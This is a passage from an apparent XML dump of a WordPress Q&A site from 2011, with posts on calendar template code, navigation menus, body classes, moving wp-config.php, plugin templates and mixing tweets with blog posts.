, not sure why, instead the example above works using &lt;code&gt;hidden&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-08-11T18:05:22.590" LastActivityDate="2011-08-11T18:05:22.590" CommentCount="1" />
  <row Id="25670" PostTypeId="1" CreationDate="2011-08-10T21:27:22.887" Score="0" ViewCount="13" Body="&lt;p&gt;In Wordpress...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've placed  tags in html editor of the posts and it comes through in the event calendar plugin and cuts the content with &quot;more..&quot; text at the end but the link does not seem to appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using the_content() tags but I can't seem to figure out why the links are not appearing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the code for the page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;global $spEvents; &#xA;$eventPosts = get_events();&#xA;$startOfWeek = get_option( 'start_of_week', 0 );&#xA;list( $year, $month ) = split( '-', $spEvents-&amp;gt;date );&#xA;$date = mktime(12, 0, 0, $month, 1, $year); // 1st day of month as unix stamp&#xA;$daysInMonth = date(&quot;t&quot;, $date);&#xA;$monthView = events_by_month( $eventPosts, $spEvents-&amp;gt;date );&#xA;$rawOffset = date(&quot;w&quot;, $date) - $startOfWeek;&#xA;$offset = ( $rawOffset &amp;lt; 0 ) ? $rawOffset + 7 : $rawOffset; // month begins on day x&#xA;$rows = 1;&#xA;$monthView = events_by_month( $eventPosts, $spEvents-&amp;gt;date );&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;calendar-left&quot;&amp;gt;&#xA;&amp;lt;table class=&quot;tec-calendar&quot; id=&quot;big&quot;&amp;gt;&#xA;    &amp;lt;thead&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;?php&#xA;                for( $n = $startOfWeek; $n &amp;lt; count($spEvents-&amp;gt;daysOfWeek) + $startOfWeek; $n++ ) {&#xA;                    $dayOfWeek = ( $n &amp;gt;= 7 ) ? $n - 7 : $n;&#xA;                    echo '&amp;lt;th id=&quot;tec-' . strtolower($spEvents-&amp;gt;daysOfWeek[$dayOfWeek]) . '&quot;&amp;gt;' . $spEvents-&amp;gt;daysOfWeekShort[$dayOfWeek] . '&amp;lt;/th&amp;gt;';&#xA;                }&#xA;                ?&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/thead&amp;gt;&#xA;&#xA;    &amp;lt;tbody&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;        &amp;lt;?php&#xA;            // skip last month&#xA;            for( $i = 1; $i &amp;lt;= $offset; $i++ ){ &#xA;                echo &quot;&amp;lt;td class='tec-othermonth'&amp;gt;&amp;lt;/td&amp;gt;&quot;;&#xA;            }&#xA;            // output this month&#xA;            for( $day = 1; $day &amp;lt;= date(&quot;t&quot;, $date); $day++ ) {&#xA;                if( ($day + $offset - 1) % 7 == 0 &amp;amp;&amp;amp; $day != 1) {&#xA;                    echo &quot;&amp;lt;/tr&amp;gt;\n\t&amp;lt;tr&amp;gt;&quot;;&#xA;                    $rows++;&#xA;                }&#xA;&#xA;                // Var'ng up days, months and years&#xA;                $current_day = date_i18n( 'd' );&#xA;                $current_month = date_i18n( 'm' );&#xA;                $current_year = date_i18n( 'Y' );&#xA;&#xA;                if ( $current_month == $month &amp;amp;&amp;amp; $current_year == $year) {&#xA;                    // Past, Present, Future class&#xA;                    if ($current_day == $day ) {&#xA;                        $ppf = ' tec-present';&#xA;                    } elseif ($current_day &amp;gt; $day) {&#xA;                        $ppf = ' tec-past';&#xA;                    } elseif ($current_day &amp;lt; $day) {&#xA;                        $ppf = ' tec-future';&#xA;                    }&#xA;                } elseif ( $current_month &amp;gt; $month &amp;amp;&amp;amp; $current_year == $year || $current_year &amp;gt; $year ) {&#xA;                    $ppf = ' tec-past';&#xA;                } elseif ( $current_month &amp;lt; $month &amp;amp;&amp;amp; $current_year == $year || $current_year &amp;lt; $year ) {&#xA;                    $ppf = ' tec-future';&#xA;                } else { $ppf = false; }&#xA;&#xA;                if (hasEvents( $day, $monthView)){&#xA;                    $eventclass = ' hasevent';&#xA;                }&#xA;                else $eventclass = false;&#xA;&#xA;                echo &quot;&amp;lt;td class='tec-thismonth&quot; . $ppf . $eventclass .&quot;'&amp;gt;&quot; . display_day_title( $day, $monthView ) . &quot;\n&quot;;&#xA;                echo display_day( $day, $monthView );&#xA;                echo &quot;&amp;lt;/td&amp;gt;&quot;;&#xA;            }&#xA;            // skip next month&#xA;            while( ($day + $offset) &amp;lt;= $rows * 7)&#xA;            {&#xA;                echo &quot;&amp;lt;td class='tec-othermonth'&amp;gt;&amp;lt;/td&amp;gt;&quot;;&#xA;                $day++;&#xA;            }&#xA;        ?&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- .calendar-left --&amp;gt;&#xA;&amp;lt;?php&#xA;function hasEvents( $day, $monthView){&#xA;    return count( $monthView[$day] ) &amp;gt; 0 ? true : false;&#xA;}&#xA;&#xA;/**&#xA; * Each day in the calendar grid view will only display posts_per_page events.&#xA; * If the day has more events than will be displayed, we show all of the events &#xA; * as a tooltip in the day header&#xA; */&#xA;function display_day_title( $day, $monthView ) {&#xA;    $return = &quot;&amp;lt;div class='daynum tec-event' id='daynum_$day'&amp;gt;&quot;;&#xA;    if( !count( $monthView[$day] ) || count( $monthView[$day] ) &amp;lt; get_option( 'posts_per_page' ) ) {&#xA;        global $post;&#xA;        $posts_per_page = get_option( 'posts_per_page' );&#xA;        if (hasEvents($day, $monthView))&#xA;            $return .= &quot;&amp;lt;a href='' id=event-post-$day&amp;gt;$day&amp;lt;/a&amp;gt;&quot;;&#xA;        else $return .= $day;&#xA;    } else {&#xA;        global $post;&#xA;        $return .= &quot;&amp;lt;a class='tec-multi-event-day'&amp;gt;$day&amp;lt;/a&amp;gt;&quot;;&#xA;        $return .= &quot;&amp;lt;div id='tooltip_day_$day'&amp;gt;&quot;;&#xA;        for( $i = 0; $i &amp;lt; count( $monthView[$day] ); $i++ ) {&#xA;            $post = $monthView[$day][$i];&#xA;            setup_postdata( $post );&#xA;            $return .= '&amp;lt;h5 class=&quot;tec-event-title&quot;&amp;gt;' . get_the_title() . '&amp;lt;/h5&amp;gt;';&#xA;        }&#xA;        $return .= '&amp;lt;span class=&quot;tec-arrow&quot;&amp;gt;&amp;lt;/span&amp;gt;';&#xA;        $return .= '&amp;lt;/div&amp;gt;';&#xA;    }&#xA;    $return .= &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;    return $return;&#xA;}&#xA;/**&#xA; * Each day in the calendar grid view will only display posts_per_page events.&#xA; * Each event will have a tooltip for more information on that event.&#xA; */&#xA;function display_day( $day, $monthView ) {&#xA;    global $post;&#xA;    $output = '';&#xA;    $posts_per_page = get_option( 'posts_per_page' );&#xA;    echo &quot;&amp;lt;div class='tec-event-posts' id=$day style='display:none;'&amp;gt;&quot;;&#xA;    for( $i = 0; $i &amp;lt; count( $monthView[$day] ) &amp;amp;&amp;amp; $i &amp;lt; $posts_per_page; $i++ ) {&#xA;        $post = $monthView[$day][$i];&#xA;        setup_postdata( $post );&#xA;        $eventId    = $post-&amp;gt;ID.'-'.$day;&#xA;        $start      = the_event_start_date( $post-&amp;gt;ID );&#xA;        $end        = the_event_end_date( $post-&amp;gt;ID );&#xA;        $cost       = the_event_cost( $post-&amp;gt;ID );&#xA;        $address    = the_event_address( $post-&amp;gt;ID );&#xA;        $city       = the_event_city( $post-&amp;gt;ID );&#xA;        $state      = the_event_state( $post-&amp;gt;ID );&#xA;        $province   = the_event_province( $post-&amp;gt;ID );&#xA;        $country    = the_event_country( $post-&amp;gt;ID );&#xA;        $vanue      = the_event_venue( $post-&amp;gt;ID );&#xA;        ?&amp;gt;&#xA;&#xA;        &amp;lt;div id='event_&amp;lt;?php echo $eventId; ?&amp;gt;' class=&quot;tec-event &#xA;        &amp;lt;?php&#xA;        foreach((get_the_category()) as $category) { &#xA;            echo 'cat_' . $category-&amp;gt;cat_name . ' '; &#xA;        } &#xA;        ?&amp;gt;&#xA;        &quot;&amp;gt;&#xA;            &amp;lt;div&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;tec-event-body&quot;&amp;gt; &amp;lt;?php echo 'Start Date: ' . $start . '&amp;lt;br/&amp;gt;'; ?&amp;gt;&#xA;                    &amp;lt;?php if ( !the_event_all_day($post-&amp;gt;ID) ) : ?&amp;gt;&#xA;                    &amp;lt;div class=&quot;tec-event-date&quot;&amp;gt;&#xA;                        &amp;lt;?php if ( !empty( $start ) )   echo $start; ?&amp;gt;&#xA;                        &amp;lt;?php if ( !empty( $end )  &amp;amp;&amp;amp; $start !== $end )     echo &quot; – &quot; . $end . '&amp;lt;br /&amp;gt;'; ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;                    &amp;lt;a class=&quot;vanue&quot; href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $vanue;?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;div class=&quot;tec-event-desc&quot;&amp;gt;&amp;lt;?php echo The_Events_Calendar::truncate(get_the_content(), 30); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php&#xA;        if( $i &amp;lt; $posts_per_page - 1 &amp;amp;&amp;amp; $i &amp;lt; count( $monthView[$day] ) - 1 ) { &#xA;            echo &quot;&amp;lt;hr /&amp;gt;&quot;;&#xA;        }&#xA;    }&#xA;    echo &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-08-11T17:26:40.077" Title="Wordpress more tags link not coming out" Tags="&lt;php&gt;" />
  <row Id="25671" PostTypeId="1" AcceptedAnswerId="25675" CreationDate="2011-08-11T17:44:18.370" Score="2" ViewCount="20" Body="&lt;p&gt;I'm in middle of re-building a website that's coded in a rather terrible custom CMS. Since the site is essentially a blog, I've been doing it in Wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing I'd like to do is be able to add a few &quot;related links&quot; to each post. These links are not the same thing as &quot;related posts&quot;. When a new article is posted, I'd like the post author to be able to attach a handful of links from other sites (e.g. an article on nytimes.com, something from other blogs, etc). Each related link item would consist of the original URL, the Title, the Author(s), Source, and a brief description. See image for an example:&#xA;&lt;em&gt;Since I don't have enough rep points (yet), here's an image link instead: &lt;a href=&quot;http://i.stack.imgur.com/nlhbt.png&quot; rel=&quot;nofollow&quot;&gt;http://i.stack.imgur.com/nlhbt.png&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first thought was I could use Custom Fields - but this would quickly fall apart if there were multiple links. My current thought is to have each link as a separate Custom Post Type, but then I'm stumped on ways to link them to the post it should be shown with. If only WP had an auto-complete field that I could use for the article title. I'm using Magic Fields for certain categories, but it doesn't look like it would work here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I could use for this? I'm not very familiar with the WP core/plugins development, but I'm great with PHP/MySQL, so I don't mind having to code something up. I couldn't find anything by searching so I'm asking here. Any ideas for plugins/implementations that would work?&lt;/p&gt;&#xA;" OwnerUserId="7827" LastActivityDate="2011-08-11T18:59:03.113" Title="Related links - from other sites" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;customization&gt;&lt;link&gt;&lt;plugin-magic-fields&gt;" AnswerCount="1" />
  <row Id="25672" PostTypeId="2" ParentId="25659" CreationDate="2011-08-11T17:46:43.407" Score="4" ViewCount="" Body="&lt;p&gt;this comes down to a simple one line and there is no need to get all of the children using: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$featured image_id = get_post_meta( $post_id, '_thumbnail_id', true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-11T17:46:43.407" CommentCount="5" />
  <row Id="25673" PostTypeId="1" CreationDate="2011-08-11T18:26:44.137" Score="0" ViewCount="23" Body="&lt;p&gt;I am taking over a site and we are making a sister site to it, but the problem is that the navigation was set up for the other site - so I'm having an issue getting the navigation to link to the pages. What it is doing is using a filter of some sort... so when I try to click a link on the nav bar nothing happens but an empty drop down menu displays. We have no need for child pages on this project so I need help figuring out how to edit the filter so that parent pages act as links rather than &quot;menu titles&quot; if you will.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's my code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;                //add_filter ('wp_list_pages', 'formatNavList');&#xA;                $myPages = wp_list_pages(array('title_li' =&amp;gt;'', 'depth' =&amp;gt;1, 'sort_column' =&amp;gt; 'menu_order, post_title', 'echo' =&amp;gt;0, )); &#xA;&#xA;                $templateDir = get_bloginfo(&quot;template_directory&quot;);&#xA;                $pattern1 = &quot;/&amp;lt;li.*?&amp;gt;.*?&amp;lt;a.*?&amp;gt;(.*?)&amp;lt;\/a&amp;gt;/is&quot;;&#xA;                $replString1 = &quot;&amp;lt;li class='navButton' &amp;gt;$1&#xA;                &amp;lt;div class='dropdown1Col' &amp;gt;&#xA;                    &amp;lt;img class='dropdown1ColTop' src='$templateDir/images/bgGraphics/DropDownNav_1ColTop_200x30.png'  /&amp;gt;&#xA;                    &amp;lt;div&amp;gt;&#xA;                        &amp;lt;img class='dropdown1ColMid' src='$templateDir/images/bgGraphics/DropDownNav_1ColMid_Stretch.png' /&amp;gt;&quot;;&#xA;&#xA;                $pattern2 = &quot;/(&amp;lt;\/li&amp;gt;\s*?&amp;lt;li[^&amp;gt;]*navButton.*?&amp;gt;)/is&quot;;&#xA;                $replString2 = &quot;            &amp;lt;p class='clearFloat' /&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;img class='dropdown1ColBtm' src='$templateDir/images/bgGraphics/DropDownNav_1ColBtm_200x30.png'  /&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;$1&quot;;&#xA;&#xA;&#xA;                $pattern3 = &quot;/(&amp;lt;\/li&amp;gt;\s*?)$/is&quot;;&#xA;                $replString3 = &quot;            &amp;lt;p class='clearFloat' /&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;img class='dropdown1ColBtm' src='$templateDir/images/bgGraphics/DropDownNav_1ColBtm_200x30.png'  /&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&quot;;&#xA;&#xA;                $menu = explode('&amp;lt;li ', $myPages);&#xA;                $sub = 0;&#xA;                $i = 0;&#xA;                $id = array();&#xA;&#xA;                foreach ($menu as $key =&amp;gt; $val) {&#xA;&#xA;                    $match = $matches = 0;&#xA;&#xA;                    if ($sub == 0){&#xA;                        $id[] = $key;&#xA;                        $pos = strpos($val,'&amp;lt;a');&#xA;                        $text = preg_replace($pattern1, $replString1, &quot;&amp;lt;li alt='$sub' $val&quot;);&#xA;                        $output .= $text;&#xA;                    }else{&#xA;                        $output .= &quot;&amp;lt;li alt='$sub' $val&quot;;&#xA;                    }&#xA;                    if (preg_match_all(&quot;/(&amp;lt;ul class='children'&amp;gt;)/&quot;,$val,$match,PREG_PATTERN_ORDER)){&#xA;                        $sub = $sub + count($match[0]);&#xA;                    }else if (preg_match_all(&quot;/(&amp;lt;\/ul&amp;gt;)/&quot;,$val,$matches,PREG_PATTERN_ORDER)){&#xA;                        $sub = $sub - count($matches[0]);&#xA;                    };&#xA;                    $i++;&#xA;                    if($i==3){$i=0;};&#xA;&#xA;                }&#xA;                $output = preg_replace($pattern2, $replString2, $output);&#xA;                $output = preg_replace($pattern3, $replString3, $output);&#xA;&#xA;                echo $output;&#xA;            ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any help would be greatly appreciated! Thank you in advance!&lt;/p&gt;&#xA;" OwnerUserId="7831" LastActivityDate="2011-08-11T20:07:48.020" Title="Help with page nav?" Tags="&lt;php&gt;&lt;navigation&gt;" AnswerCount="2" />
  <row Id="25674" PostTypeId="2" ParentId="25673" CreationDate="2011-08-11T18:58:46.627" Score="2" ViewCount="" Body="&lt;p&gt;I would recommend using the WP_Nav Menu for your site. To use this feature, just add this in place of your current nav:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    add_action( 'init', 'register_my_menus' );&#xA;function register_my_menus() {&#xA;register_nav_menus(&#xA;    array(&#xA;        'primary-menu' =&amp;gt; __( 'Main Menu' ),&#xA;        'secondary-menu' =&amp;gt; __( 'Secondary Menu' ),&#xA;        'tertiary-menu' =&amp;gt; __( 'Tertiary Menu' )&#xA;        )&#xA;    );&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can use this to display the navigation in your template files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;menu&quot;&amp;gt;&#xA;&amp;lt;?php wp_nav_menu( array( 'theme_location' =&amp;gt; 'primary-menu' ) ); ?&amp;gt;&amp;lt;!-- End Navigation --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- End #menu--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the code above you can use up to 3 menu's in different locations. To add another, just change the 'primary-menu' in the example above to one of the other 3 listed in the functions.php file. You can now go to the WP-Admin&gt;Appearance&gt;Menu's and create your nav menu and add the pages/posts, or categories/tags to the menu and make it as many levels deep as you wish.&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-08-11T18:58:46.627" />
  <row Id="25675" PostTypeId="2" ParentId="25671" CreationDate="2011-08-11T18:59:03.113" Score="1" ViewCount="" Body="&lt;p&gt;Have you tried this plugin: &lt;a href=&quot;http://eskapism.se/code-playground/simple-fields/&quot; rel=&quot;nofollow&quot;&gt;http://eskapism.se/code-playground/simple-fields/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's quite capable and should do what you want without getting your hands too dirty.&lt;/p&gt;&#xA;" OwnerUserId="2637" LastActivityDate="2011-08-11T18:59:03.113" CommentCount="1" />
  <row Id="25676" PostTypeId="1" AcceptedAnswerId="25680" CreationDate="2011-08-11T19:12:59.420" Score="5" ViewCount="93" Body="&lt;p&gt;For additional security, the suggestion is made to move the wp-config.php up one level. Can this be done after the site has already been launched? Any potential issues in doing this? Are there an restrictions/suggestions on what the new folder should be called?&lt;/p&gt;&#xA;" OwnerUserId="2709" LastActivityDate="2011-08-11T20:32:49.410" Title="Moving wp-config.php: Can this be done after site launch?" Tags="&lt;security&gt;" AnswerCount="4" />
  <row Id="25677" PostTypeId="1" AcceptedAnswerId="25679" CreationDate="2011-08-11T19:31:11.903" Score="1" ViewCount="44" Body="&lt;p&gt;I need to add a class of &quot;two-sidebars&quot; to the regular bunch of WP classes that are generated by &lt;code&gt;&amp;lt;?php body_class(); ?&amp;gt;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I need to do this is I'm integrating WP into a Drupal install, and need to keep the &quot;two-sidebars&quot; class for style reasons for the Drupal part of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way? jQuery? Is it possible to hook into body_class?&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-08-11T19:38:57.650" Title="How do I add a class to &lt;body&gt; that is generated by &lt;?php body_class(); ?&gt;&gt;" Tags="&lt;css&gt;" AnswerCount="2" />
  <row Id="25678" PostTypeId="2" ParentId="25677" CreationDate="2011-08-11T19:38:24.263" Score="2" ViewCount="" Body="&lt;p&gt;you can add extra classes directly into the function, as arguments;&#xA;for permanently, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body_class('two-sidebars')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/body_class&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/body_class&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-08-11T19:38:24.263" />
  <row Id="25679" PostTypeId="2" ParentId="25677" CreationDate="2011-08-11T19:38:57.650" Score="5" ViewCount="" Body="&lt;p&gt;You can add to the function simply by placing the desired class as the first parameter like so &lt;code&gt;body_class('class-name')&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you'd like a little more flexibility you can hook into it using &lt;code&gt;add_filter('body_class','my_class_names')&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/body_class&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7649" LastActivityDate="2011-08-11T19:38:57.650" CommentCount="1" />
  <row Id="25680" PostTypeId="2" ParentId="25676" CreationDate="2011-08-11T19:49:57.373" Score="3" ViewCount="" Body="&lt;p&gt;You can safely move it as far as I know.... but what do you mean folder?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Up one level would already be a folder....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if your site is in html, or public_html or whatever, you place the wp-config file in whatever folder holds your html or public_html folder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like if your path is /home/content/u/s/e/user/html/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And your WP is in html, the wp-config would go in user, the next folder up which is not web accessible. WP will automatically look for it there&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are on shared hosting, you probably can't do that anyway&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you have WP in a subdirectory, there would be no point in moving wp-config, as moving it up a level would still put it in a web accessible directory&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-08-11T19:49:57.373" />
  <row Id="25681" PostTypeId="2" ParentId="25676" CreationDate="2011-08-11T19:50:28.900" Score="2" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can this be done after the site has already been launched?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Any potential issues in doing this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No (that I can think of).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are there an restrictions/suggestions on what the new folder should be called?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You should not create any new folders. Simply move file up one level. For example if your current path is &lt;code&gt;/home/username/public_html/wp-config.php&lt;/code&gt; you should move it to &lt;code&gt;/home/username/wp-config.php&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-11T19:50:28.900" />
  <row Id="25682" PostTypeId="2" ParentId="25676" CreationDate="2011-08-11T19:50:36.013" Score="2" ViewCount="" Body="&lt;p&gt;You can safely move &lt;code&gt;wp-config.php&lt;/code&gt; up one directory from the base WordPress install. You don't need to &quot;name&quot; any directories anything differently, as the relevant directory already exists. Also, WordPress core is already coded so that it looks in its root directory, and then one directory higher, for &lt;code&gt;wp-config.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-11T19:50:36.013" />
  <row Id="25683" PostTypeId="2" ParentId="25673" CreationDate="2011-08-11T20:07:48.020" Score="0" ViewCount="" Body="&lt;p&gt;If you want to stick with using a page menu (though I would strongly recommend @Jeremy Jared's solution of using custom Nav Menus), replace all of your above code with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_list_pages( array( 'title_li' =&amp;gt;'', 'depth' =&amp;gt;1, 'sort_column' =&amp;gt; 'menu_order, post_title' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, use CSS to apply whatever layout/style you need.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-11T20:07:48.020" />
  <row Id="25684" PostTypeId="1" CreationDate="2011-08-11T18:17:37.507" Score="1" ViewCount="28" Body="&lt;p&gt;This is probably totally off the wall, but I want to create a new wordpress plugin, that will have its own subset of templates and pages. Whats the best way to do this? The plugin will be used on three pages of the wordpress site. It will use the same theme, though It will have three different page templates. Is it possible to group the templates together in a sub-folder inside the theme or plugin. The pages will be static ie dont need to be available to wp-admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How it currently is.....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;option a -&gt; templates in theme root, using wordpress page admin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is two ideas of how i'd like it to be....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;option b -&gt; sub folder in theme with static pages (No need to create/edit in wp-admin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;option c -&gt; self contained templates inside plugin folder using current theme, and custom filters/ actions  with static pages (No need to create/edit in wp-admin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plugin is essentially a section of the wordpress site grouped together that uses the wordpress objects and database. It will have its own loops and pages.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/wp-content/plugins/mycustomplugin/mycustomplugin.php&#xA;/wp-content/plugins/mycustomplugin/templates/default.php&#xA;/wp-content/plugins/mycustomplugin/templates/template2.php&#xA;/wp-content/plugins/mycustomplugin/templates/mycustomplugin-loop.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/wp-content/plugins/mycustomplugin/mycustomplugin.php&#xA;/wp-content/themes/mytheme/mycustomplugin/mycustomplugin.php&#xA;/wp-content/themes/mytheme/mycustomplugin/template2.php&#xA;/wp-content/themes/mytheme/mycustomplugin/mycustomplugin-loop.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3178" LastActivityDate="2011-08-12T01:40:34.960" Title="Working with wordpress plugin and theme templates structures" Tags="&lt;php&gt;&lt;plugins&gt;" AnswerCount="1" />
  <row Id="25685" PostTypeId="2" ParentId="25676" CreationDate="2011-08-11T20:32:49.410" Score="0" ViewCount="" Body="&lt;p&gt;Yes, when I found this out I tried it on many site without any issues.&lt;/p&gt;&#xA;" OwnerUserId="3388" LastActivityDate="2011-08-11T20:32:49.410" />
  <row Id="25686" PostTypeId="1" CreationDate="2011-08-11T20:37:24.510" Score="1" ViewCount="54" Body="&lt;p&gt;How can I build some simple system for managing galleries? I need just title and images and I want to easily change their order, add and remove pictures etc. I made this simple image which shows what I mean:&#xA;&lt;a href=&quot;http://i56.tinypic.com/25s0k8m.jpg&quot; rel=&quot;nofollow&quot;&gt;http://i56.tinypic.com/25s0k8m.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So where to start? Where can I learn this kind of advanced WordPress theming?&lt;/p&gt;&#xA;" OwnerUserId="7113" LastActivityDate="2011-08-11T20:37:24.510" Title="Custom post type - gallery. Howto build admin side management system?" Tags="&lt;custom-post-types&gt;&lt;gallery&gt;&lt;management&gt;" CommentCount="4" />
  <row Id="25687" PostTypeId="1" AcceptedAnswerId="25692" CreationDate="2011-08-11T20:45:32.483" Score="1" ViewCount="20" Body="&lt;p&gt;I have a client who wants their blog to display both Posts and Tweets in chronological order. These should be mixed into the same feed. I didn't find any plugins that accomplished this, although there may be one I missed which someone could recommend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking to pull the tweets and store them as a custom post type, and then just pull both post types when displaying, but Twitter's TOS does not allow the storing of the data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only option I see is to pull the tweets on page load, and then write a custom function to merge the two chronologically, which seems like a bit of work. Also, as far a caching the tweets, how can I go about this, considering that Twitter does not allow for storage of this information?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a recommendation on the best way to accomplish this? Also the most efficient?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advanced. &lt;/p&gt;&#xA;" OwnerUserId="7435" LastActivityDate="2011-08-11T21:57:37.017" Title="Mixing Tweets with Posts" Tags="&lt;posts&gt;&lt;cache&gt;&lt;twitter&gt;" AnswerCount="1" FavoriteCount="1" />
